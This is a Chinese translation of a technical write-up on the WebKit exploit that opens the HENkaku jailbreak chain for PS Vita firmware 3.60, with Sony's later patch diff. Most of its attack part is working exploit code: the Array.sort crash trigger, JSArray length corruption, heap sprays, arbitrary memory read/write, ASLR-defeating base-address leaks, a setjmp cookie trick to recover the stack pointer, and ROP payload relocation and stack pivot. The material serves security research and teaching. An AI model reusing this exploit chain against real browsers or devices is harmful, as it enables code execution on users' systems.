來源:Exploiting WebKit on Vita 3.60
原作者:xyzz
譯:Holic (知道創宇404安全實驗室)
譯者注:瀏覽器作為用戶交互較多的應用,漏洞利用點相對多一些,而系統瀏覽器通常以高權限運行,對封閉的終端設備來說,這就提供了不錯的漏洞利用條件。本篇 PSV 的 Writeup 介紹了一個 Webkit 漏洞的利用思路,同理我們可以將思路發散到其他終端設備上,比如之前的 PS4 1.76版本 Webkit 堆溢出漏洞,Kindle 的越獄 等...
簡介
這是 HENkaku 攻擊鏈系列 Writeup 的開始章節。我會盡量不對 KOTH challenge 進行太多破壞,僅僅記錄逆向工程的部分,以闡明大家所錯過的細節。然而,在這種情況下,挑戰無人問津且毫無進展。不管怎樣,我將會發布 writeup,既然我已經寫了,讓它爛在我的repo里面會是一種浪費。
The PoC
我們選擇的能在用戶模式執行代碼的目標便是 WebKit。Webkit 擁有 JavaScript 引擎,當我們需要繞過 ASLR 時,它對我們很有用。PS Vita 上的 Web 瀏覽器也不需要登錄 PSN,不會自動更新,允許實現非常簡單的攻擊利用鏈(訪問網站按下按鈕)。完美。
和沒有 ASLR 的 3DS 不同,Vita WebKit 有一個可接受的熵值為9 bits 的 ASLR,這就使暴力破解攻擊變得非常痛苦(平均需要重新加載 512 次來觸發漏洞,好怕!)。因此,我們需要一個比通用 UAF(釋放后重用) + vptr(虛函數表指針) 覆寫更好的漏洞。
感謝某些人,我設法得到了一個漂亮的 PoC 腳本,可以在最新的固件上造成 Vita 的瀏覽器崩潰。它不存在于 WebKit bugzilla/repo 的任何地方(或許在限制部分)。
那么作為開始的便是此腳本:
var almost_oversize = 0x3000;
var foo = Array.prototype.constructor.apply(null, new Array(almost_oversize));
var o = {};
o.toString = function () { foo.push(12345); return ""; }
foo[0] = 1;
foo[1] = 0;
foo[2] = o;
foo.sort();
如果你在使用 Sony 的 Webkit 的 Linux 主機上運行它,你將看到發生段錯誤。讓我們在調試器里面看看:
Thread 1 "GtkLauncher" received signal SIGSEGV, Segmentation fault.
0x00007ffff30bec35 in JSC::WriteBarrierBase<JSC::Unknown>::set (this=0x7fff98ef8048, owner=0x7fff9911ff60, value=...) at ../../Source/JavaScriptCore/runtime/WriteBarrier.h:152
152 m_value = JSValue::encode(value);
(gdb) bt
#0 0x00007ffff30bec35 in JSC::WriteBarrierBase<JSC::Unknown>::set (this=0x7fff98ef8048, owner=0x7fff9911ff60, value=...) at ../../Source/JavaScriptCore/runtime/WriteBarrier.h:152
#1 0x00007ffff32cb9bf in JSC::ContiguousTypeAccessor<(unsigned char)27>::setWithValue (vm=..., thisValue=0x7fff9911ff60, data=..., i=0, value=...) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1069
#2 0x00007ffff32c8809 in JSC::JSArray::sortCompactedVector<(unsigned char)27, JSC::WriteBarrier<JSC::Unknown> > (this=0x7fff9911ff60, exec=0x7fff9d6e8078, data=..., relevantLength=3)
at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1171
#3 0x00007ffff32c4933 in JSC::JSArray::sort (this=0x7fff9911ff60, exec=0x7fff9d6e8078) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1214
#4 0x00007ffff329c844 in JSC::attemptFastSort (exec=0x7fff9d6e8078, thisObj=0x7fff9911ff60, function=..., callData=..., callType=@0x7fffffffbfb4: JSC::CallTypeNone)
at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:623
#5 0x00007ffff329db4c in JSC::arrayProtoFuncSort (exec=0x7fff9d6e8078) at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:697
<the rest does not matter>
原來她在執行 Javascript Array.sort 函數的時候會遇到未映射的內存。但是這到底發生了什么?
The bug
讓我們看看 JSArray::sort 方法(Source/JavaScriptCore/runtime/JSArray.cpp)。因為我們的數組是 ArrayWithContiguous類型是由它如何創建決定的:Array.prototype.constructor.apply(null, new Array(almost_oversize));,我們進入sortCompactedVector 函數。這是它的完整定義:
template<IndexingType indexingType, typename StorageType>
void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength)
{
if (!relevantLength)
return;
VM& vm = exec->vm();
// Converting JavaScript values to strings can be expensive, so we do it once up front and sort based on that.
// This is a considerable improvement over doing it twice per comparison, though it requires a large temporary
// buffer. Besides, this protects us from crashing if some objects have custom toString methods that return
// random or otherwise changing results, effectively making compare function inconsistent.
Vector<ValueStringPair, 0, UnsafeVectorOverflow> values(relevantLength);
if (!values.begin()) {
throwOutOfMemoryError(exec);
return;
}
Heap::heap(this)->pushTempSortVector(&values);
bool isSortingPrimitiveValues = true;
for (size_t i = 0; i < relevantLength; i++) {
JSValue value = ContiguousTypeAccessor<indexingType>::getAsValue(data, i);
ASSERT(indexingType != ArrayWithInt32 || value.isInt32());
ASSERT(!value.isUndefined());
values[i].first = value;
if (indexingType != ArrayWithDouble && indexingType != ArrayWithInt32)
isSortingPrimitiveValues = isSortingPrimitiveValues && value.isPrimitive();
}
// FIXME: The following loop continues to call toString on subsequent values even after
// a toString call raises an exception.
for (size_t i = 0; i < relevantLength; i++)
values[i].second = values[i].first.toWTFStringInline(exec);
if (exec->hadException()) {
Heap::heap(this)->popTempSortVector(&values);
return;
}
// FIXME: Since we sort by string value, a fast algorithm might be to use a radix sort. That would be O(N) rather
// than O(N log N).
#if HAVE(MERGESORT)
if (isSortingPrimitiveValues)
qsort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort);
else
mergesort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort);
#else
// FIXME: The qsort library function is likely to not be a stable sort.
// ECMAScript-262 does not specify a stable sort, but in practice, browsers perform a stable sort.
qsort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort);
#endif
// If the toString function changed the length of the array or vector storage,
// increase the length to handle the orignal number of actual values.
switch (indexingType) {
case ArrayWithInt32:
case ArrayWithDouble:
case ArrayWithContiguous:
ensureLength(vm, relevantLength);
break;
case ArrayWithArrayStorage:
if (arrayStorage()->vectorLength() < relevantLength) {
increaseVectorLength(exec->vm(), relevantLength);
ContiguousTypeAccessor<indexingType>::replaceDataReference(&data, arrayStorage()->vector());
}
if (arrayStorage()->length() < relevantLength)
arrayStorage()->setLength(relevantLength);
break;
default:
CRASH();
}
for (size_t i = 0; i < relevantLength; i++)
ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first);
Heap::heap(this)->popTempSortVector(&values);
}
此函數從 JS 數組中取值,將它們放入一個臨時向量中,對向量進行排序,然后將值放回 JS 數組。
在第 37 行,for 循環中,對于每一個元素,它的toString方法被調。當它被我們的對象 o 調用時,便是接下來發生的:
function () {
foo.push(12345);
return "";
}
一個整數被 push 進正在排序的數組。這導致了數組元素被重新分配。在81行,被排序的元素被寫回數組,然而,data指針從不用新分配的值進行更新。
圖例說明:
灰色的區域是空閑/未分配的內存。在 Linux 上,實際是在調用 realloc 后取消映射。同時,data仍然指向舊的內存區域。因此,Web 瀏覽器試圖向未映射的內存寫入,產生段錯誤。
Out-of-bounds RW
越界讀寫
根據內容,JSArray 對象可能在內存中以不同的方式存儲。然而,我們正在操作的,是作為元數據頭(metadata header)(黃色部分)加上數組內容(綠色部分)連續存儲的。
內容只是一個JSValue結構的向量。
union EncodedValueDescriptor {
int64_t asInt64;
double asDouble;
struct {
int32_t payload;
int32_t tag;
} asBits;
};
The metadata header stores two interesting fields:
uint32_t m_publicLength; // The meaning of this field depends on the array type, but for all JSArrays we rely on this being the publicly visible length (array.length).
uint32_t m_vectorLength; // The length of the indexed property storage. The actual size of the storage depends on this, and the type.
我們的目標是覆蓋它們,并將數組“擴展”超出實際分配的范圍。
為了實現這一點,我們來修改o.toString方法:
var normal_length = 0x800;
var fu = new Array(normal_length);
var arrays = new Array(0x100);
o.toString = function () {
foo.push(12345);
for (var i = 0; i < arrays.length; ++i) {
var bar = Array.prototype.constructor.apply(null, fu);
bar[0] = 0;
bar[1] = 1;
bar[2] = 2;
arrays[i] = bar;
}
return "";
}
如果我們運氣好的話,這便是所發生的:
在此例中(不反映真實數組大小),當使用data指針寫回排序值的時候,第二條和第三條 bar的 metadata headers 將被覆蓋。
我們用什么覆蓋它們?記住,綠色的區域是 JSValue 對象的向量。每一個 JSValue對象都是 8 字節的。但是,如果我們使用比如 0x8000000 的數據填充 foo ,我們只能控制 4 字節,其余的是用于tag 的。tag 是什么?
enum { Int32Tag = 0xffffffff };
enum { BooleanTag = 0xfffffffe };
enum { NullTag = 0xfffffffd };
enum { UndefinedTag = 0xfffffffc };
enum { CellTag = 0xfffffffb };
enum { EmptyValueTag = 0xfffffffa };
enum { DeletedValueTag = 0xfffffff9 };
enum { LowestTag = DeletedValueTag };
這就是 Webkit JavaScriptCore 如何將不同的類型打包成單個JSValue 結構的:它可以是int,boolean,cell(指向一個對象的指針),null,undefined 或者 double 類型。因此如果我們 寫入54321,我們只能控制一半的結構,而另一半被設置成 Int32Tag 或者 0xffffffff。
但是,我們也可以寫入double類型的值,比如54321.0。我們用這種方法控制所有 8 字節,但是還有其他限制(一些浮點指針規范化并不允許寫入真正的任意值。否則,你將能夠制作CellTag并將指針設置成任意值,這是很可怕的。有趣的是,在它確實允許之前,這是第一個Vita WebKit exploit使用過的!CVE-2010-1807)。
因此,我們還是寫入 double 類型的值吧。
foo[0] = o;
var len = u2d(0x80000000, 0x80000000);
for (var i = 1; i < 0x2000; ++i)
foo[i] = len;
foo.sort();
u2d/d2u 是個在int 和 double之間轉換的小助手:
var _dview = null;
// u2d/d2u taken from PSA-2013-0903
// wraps two uint32s into double precision
function u2d(low,hi)
{
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setUint32(0,hi);
_dview.setUint32(4,low);
return _dview.getFloat64(0);
}
function d2u(d)
{
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setFloat64(0,d);
return { low: _dview.getUint32(4),
hi: _dview.getUint32(0) };
}
那么,如果我們現在查看arrays 我們將會發現 JSArray 對象擴展超出了它們的真正邊界,而且它們的長度設置成了 0x8000000。
因垂死聽,這成功破壞了 Vita 上的 JSArray 對象,但是 Linux 上的崩潰觸發了一個保護頁。但這并不重要,因為我們攻擊 Vita 而不是 Linux。
現在當我們向一個損壞的bar對象寫入的時候,我們可以實現一個越界任意讀寫,這很棒!但讓我們升級到一個真正的任意讀寫吧。
聰明的讀者可能會注意到,由于 Vita 是一個 32 位的終端, 我們將長度設置為 0x8000000 ,每個JSValue 是 8 字節的,我們實際上已經有了任意讀寫的能力了。然而,我們仍然在從原始的bar 向量基寫到偏移處,至今仍未泄漏任何堆的地址。此外,我們只能寫double類型的值,這超級不方便。
Arbitrary RW
為了獲得任意讀寫能力,我使用了與 2.00-3.20 WebKit 漏洞利用相同的技巧,詳情點此。
Spray buffers:
buffers = new Array(spray_size);
buffer_len = 0x1344;
for (var i = 0; i < buffers.length; ++i)
buffers[i] = new Uint32Array(buffer_len / 4);
在內存中查找 Uint32Array buffer,在損壞的緩沖區之前(此處稱為arr)的某個任意偏移開始進行搜索。
var start = 0x20000000-0x11000;
for(;; start--) {
if (arr[start] != 0) {
_dview.setFloat64(0, arr[start]);
if (_dview.getUint32(0) == buffer_len / 4) { // Found Uint32Array
_dview.setUint32(0, 0xEFFFFFE0);
arr[start] = _dview.getFloat64(0); // change buffer size
_dview.setFloat64(0, arr[start-2]);
heap_addr = _dview.getUint32(4); // leak some heap address
_dview.setUint32(4, 0)
_dview.setUint32(0, 0x80000000);
arr[start-2] = _dview.getFloat64(0); // change buffer offset
break;
}
}
}
查找損壞的 Uint32Array:
corrupted = null;
for (var i = 0; i < buffers.length; ++i) {
if (buffers[i].byteLength != buffer_len) {
corrupted = buffers[i];
break;
}
}
var u32 = corrupted;
既然我們有了真正的任意讀寫,而且已經泄漏了一些堆地址,接下來便是:
Code execution
使用 textarea 對象的舊技巧這里再次使用(為什么發明新輪子?)首先,修改原來的Uint32Array 堆噴射交織至textarea對象。
spray_size = 0x4000;
textareas = new Array(spray_size);
buffers = new Array(spray_size);
buffer_len = 0x1344;
textarea_cookie = 0x66656463;
textarea_cookie2 = 0x55555555;
for (var i = 0; i < buffers.length; ++i) {
buffers[i] = new Uint32Array(buffer_len / 4);
var e = document.createElement("textarea");
e.rows = textarea_cookie;
textareas[i] = e;
}
使用損壞的Uint32Array 對象,在內存中找到textarea。
var some_space = heap_addr;
search_start = heap_addr;
for (var addr = search_start/4; addr < search_start/4 + 0x4000; ++addr) {
if (u32[addr] == textarea_cookie) {
u32[addr] = textarea_cookie2;
textarea_addr = addr * 4;
break;
}
}
/*
Change the rows of the Element object then scan the array of
sprayed objects to find an object whose rows have been changed
*/
var found_corrupted = false;
var corrupted_textarea;
for (var i = 0; i < textareas.length; ++i) {
if (textareas[i].rows == textarea_cookie2) {
corrupted_textarea = textareas[i];
break;
}
}
現在我們有兩個“視圖”到同一個textarea:我們可以使用我們的u32對象在內存中直接修改它,我們還可以從 JavaScript 中調用它的函數。所以關鍵思路是通過我們的“內存訪問”覆蓋 vptr ,然后通過 JavaScript 調用修改的函數表。
Mitigation 1: ASLR
記住,Vita 有 ASLR , 這就是為什么我們為何不得不復雜化這么多漏洞利用方法。但是利用任意讀寫的方法,我們可以泄漏textarea vptr 并且完全擊敗 ASLR;
function read_mov_r12(addr) {
first = u32[addr/4];
second = u32[addr/4 + 1];
return ((((first & 0xFFF) | ((first & 0xF0000) >> 4)) & 0xFFFF) | ((((second & 0xFFF) | ((second & 0xF0000) >> 4)) & 0xFFFF) << 16)) >>> 0;
}
var vtidx = textarea_addr - 0x70;
var textareavptr = u32[vtidx / 4];
SceWebKit_base = textareavptr - 0xabb65c;
SceLibc_base = read_mov_r12(SceWebKit_base + 0x85F504) - 0xfa49;
SceLibKernel_base = read_mov_r12(SceWebKit_base + 0x85F464) - 0x9031;
ScePsp2Compat_base = read_mov_r12(SceWebKit_base + 0x85D2E4) - 0x22d65;
SceWebFiltering_base = read_mov_r12(ScePsp2Compat_base + 0x2c688c) - 0x9e5;
SceLibHttp_base = read_mov_r12(SceWebFiltering_base + 0x3bc4) - 0xdc2d;
SceNet_base = read_mov_r12(SceWebKit_base + 0x85F414) - 0x23ED;
SceNetCtl_base = read_mov_r12(SceLibHttp_base + 0x18BF4) - 0xD59;
SceAppMgr_base = read_mov_r12(SceNetCtl_base + 0x9AB8) - 0x49CD;
我們談談代碼執行吧。在 Vita 上沒有 JIT ,也不可能分配 RWX 內存(只允許來自 PlayStation 的 Mobile App)。因此我們必須在 ROP 中寫整個 payload 。
之前的 exploit 使用了一個叫做 JSoS 的技術,點此查看詳情。然而,瀏覽器在破壞 JSArray 之后變得實在是不穩定,所以我們向盡可能少的運行 JavaScript 代碼。
因此,新版本的 roptool 由 Davee 編寫,支持 ASLR。這里的基本思想是 roptool 輸出中有一些字(一個 word 4 字節)現在具有分配給它們的重定位信息。在重定位 payload 之后,這只是向這些字添加不同的base(SceWebKit_base/SceLibc_base /等),我們可以正常啟動生成的 ROP 鏈。
Mitigation 2: Stack-pivot protection
由于固件版本未知,現在有了額外的漏洞緩解實施方案:有時內核將檢測你的線程棧指針實際是在其堆棧內的。如果不是的話,整個程序將被殺死。
為了繞過這個情況,我們需要將我們的 ROP 鏈植入線程堆棧。為了做到這點,我們需要線程棧虛地址。因為ASLR的存在,我們并不知道此地址。
然而我們有內存任意讀寫。有大量方法泄漏棧指針。我使用 setjmp函數。
這便是我們如何調用它的:
// copy vtable
for (var i = 0; i < 0x40; i++)
u32[some_space / 4 + i] = u32[textareavptr / 4 + i];
u32[vtidx / 4] = some_space;
// backup our obj
for (var i = 0; i < 0x30; ++i)
backup[i] = u32[vtidx/4 + i];
// call setjmp and leak stack base
u32[some_space / 4 + 0x4e] = SceLibc_base + 0x14070|1; // setjmp
corrupted_textarea.scrollLeft = 0; // call setjmp
現在我們的 corrupted_textarea 在內存中被 jmp_buf 覆蓋,此處包含堆棧指針。然后,我們回復如下原始數據。這是為了在我們試圖對損壞的 textarea 對象做一些事情的時候,JavaScript 不會使瀏覽器崩潰。
// restore our obj
for (var i = 0; i < 0x30; ++i)
u32[vtidx/4 + i] = backup[i];
不幸的是,如果我們看到在 SceLibc 中 setjmp 的實現,我們得到另一個漏洞利用緩解方案。
ROM:81114070 setjmp
ROM:81114070 PUSH {R0,LR}
ROM:81114072 BL sub_81103DF2 // Returns high-quality random cookie
ROM:81114076 POP {R1,R2}
ROM:81114078 MOV LR, R2
ROM:8111407A MOV R3, SP
ROM:8111407C STMIA.W R1!, {R4-R11}
ROM:81114080 EORS R2, R0 // LR is XOR'ed with a cookie
ROM:81114082 EORS R0, R3 // SP is XOR'ed with the same cookie
ROM:81114084 STMIA R1!, {R0,R2}
ROM:81114086 VSTMIA R1!, {D8-D15}
ROM:8111408A VMRS R2, FPSCR
ROM:8111408E STMIA R1!, {R2}
ROM:81114090 MOV.W R0, #0
ROM:81114094 BX LR
基本上:
stored_LR = LR ^ cookie
stored_SP = SP ^ cookie
你能看明白這是怎么回事嗎?我們已經知道 SceWebKit_base,所以我們知道LR的真正價值。使用離散代數魔法:
cookie = stored_LR ^ LR
SP = stored_SP ^ cookie
SP = stored_SP ^ (stored_LR ^ LR)
或者在 JavaScript 中:
sp = (u32[vtidx/4 + 8] ^ ((u32[vtidx/4 + 9] ^ (SceWebKit_base + 0x317929)) >>> 0)) >>> 0;
sp -= 0xef818; // adjust to get SP base
現在我們可以將我們的 ROP payload 寫入線程棧并轉向它,而不會停止應用程序!
Finally, Code Execution
首先,我們重定位 ROP payload。記住我們如何獲得 payload 和 relocs。如果你看到 payload.js ,這將是你所看到的:
payload = [2119192402,65537,0,0,1912 // and it goes on...
relocs = [0,0,0,0,0,0,0,0,0,0,0,0,0,0, // ...
relocs 數組中的每個數字表示了 payload 成員應該如何重定位的。例如,0 表示不進行重定位,1 表示添加 rop_data_base,2 表示 添加 SceWebKit_base,3 表示添加SceLibKernel_base 等...
使用 roptool 生成的 ROP 鏈有兩個部分:代碼和數據。代碼只是 ROP 堆棧,數據是字符串或緩沖區。rop_data_base 是數據的 vaddr, rop_code_base 是代碼的 vaddr)
下一個循環將 payload 直接重定位到線程堆棧中:
// relocate the payload
rop_data_base = sp + 0x40;
rop_code_base = sp + 0x10000;
addr = sp / 4;
// Since relocs are applied to the whole rop binary, not just code/data sections, we replicate
// this behavior here. However, we split it into data section (placed at the top of the stack)
// and code section (placed at stack + some big offset)
for (var i = 0; i < payload.length; ++i, ++addr) {
if (i == rop_header_and_data_size)
addr = rop_code_base / 4;
switch (relocs[i]) {
case 0:
u32[addr] = payload[i];
break
case 1:
u32[addr] = payload[i] + rop_data_base;
break;
/*
skipped most relocs
*/
default:
alert("wtf?");
alert(i + " " + relocs[i]);
}
}
在這個循環中,我們將有效 payload 分成兩個部分:代碼段和和數據段。我們不希望代碼接觸到數據,因為如果它們靠的太近,并且代碼在數據之后(這是 roptool 生成的 ROP 鏈的情況),當調用函數時,它可能會損壞一部分數據段(記著棧增長的方向,這是 ROP 鏈所沿著的方向)。
因此一旦我們完成重定位數據段:if (i == rop_header_and_data_size) ,我們轉向重定位代碼段:addr = rop_code_base / 4.
圖片的左邊是 ROP 鏈存儲在 payload 數組中的樣子。右邊展示了 ROP 鏈是如何寫入棧中的。
最后,我們來觸發 ROP 鏈吧。
// 54c8: e891a916 ldm r1, {r1, r2, r4, r8, fp, sp, pc}
u32[some_space / 4 + 0x4e] = SceWebKit_base + 0x54c8;
var ldm_data = some_space + 0x100;
u32[ldm_data/4 + 5] = rop_code_base; // sp
u32[ldm_data/4 + 6] = SceWebKit_base + 0xc048a|1; // pc = pop {pc}
// This alert() is used to distinguish between the webkit exploit fail
// and second stage exploit fail
// - If you don't see it, the webkit exploit failed
// - If you see it and then the browser crashes, the second stage failed
alert("Welcome to HENkaku!");
corrupted_textarea.scrollLeft = ldm_data; // trigger ropchain, r1=arg
// You won't see this alert() unless something went terribly wrong
alert("that's it");
當 corrupted_textarea.scrollLeft = ldm_data 完成時,由于覆蓋了 vtable ,我們的 LDM gadget 將會被調用。R1 會變成 ldm_data ,因此它將從緩沖區加載 SP = rop_code_base 和 PC = pop {pc} ,這將會啟動 ROP 鏈。
Bonus: How Sony patched it
索尼按照 LGPL 的要求定期上傳他們的 Webkit 新源碼到此頁面。(若是他們沒有這么做,這種情況他們需要通過郵件要求一個友好的戳印)
將 3.60 和 3.61 版本之間的源碼進行比較,將會發現以下內容(已省略無用的東西):
diff -r 360/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp 361/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp
1087,1096c1087,1123
- }
- };
-
-
- template<IndexingType indexingType, typename StorageType>
- void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength)
- {
- if (!relevantLength)
- return;
-
---
+ }
+ };
+
+ template <>
+ ContiguousJSValues JSArray::storage<ArrayWithInt32, WriteBarrier<Unknown> >()
+ {
+ return m_butterfly->contiguousInt32();
+ }
+
+ template <>
+ ContiguousDoubles JSArray::storage<ArrayWithDouble, double>()
+ {
+ return m_butterfly->contiguousDouble();
+ }
+
+ template <>
+ ContiguousJSValues JSArray::storage<ArrayWithContiguous, WriteBarrier<Unknown> >()
+ {
+ return m_butterfly->contiguous();
+ }
+
+ template <>
+ ContiguousJSValues JSArray::storage<ArrayWithArrayStorage, WriteBarrier<Unknown> >()
+ {
+ ArrayStorage* storage = m_butterfly->arrayStorage();
+ ASSERT(!storage->m_sparseMap);
+ return storage->vector();
+ }
+
+ template<IndexingType indexingType, typename StorageType>
+ void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength)
+ {
+ data = storage<indexingType, StorageType>();
+
+ if (!relevantLength)
+ return;
+
1167,1172c1194,1200
- CRASH();
- }
-
- for (size_t i = 0; i < relevantLength; i++)
- ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first);
-
---
+ CRASH();
+ }
+
+ data = storage<indexingType, StorageType>();
+ for (size_t i = 0; i < relevantLength; i++)
+ ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first);
+
他們現在在更新data 指針之前寫入值。所以即使數組被重新分配,它仍然寫入正確的內存。如果你嘗試在在 3.61 版本上運行 HENkaku,這就是造成alert("restart the browser")錯誤的原因。干的漂亮,Sony!
Conclusion
今天就這些!我希望你能喜歡這個 writeup,就像我討厭寫 exploit 一樣。此后,在幾個月/年/世紀,我會帶給你一些更好的 writeup ,盡請期待。因為我寫了大部分的 HENkaku exploit 鏈,我被禁止參加 KOTH challenge :(,但至少你可以享受這篇writeup :)。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/98/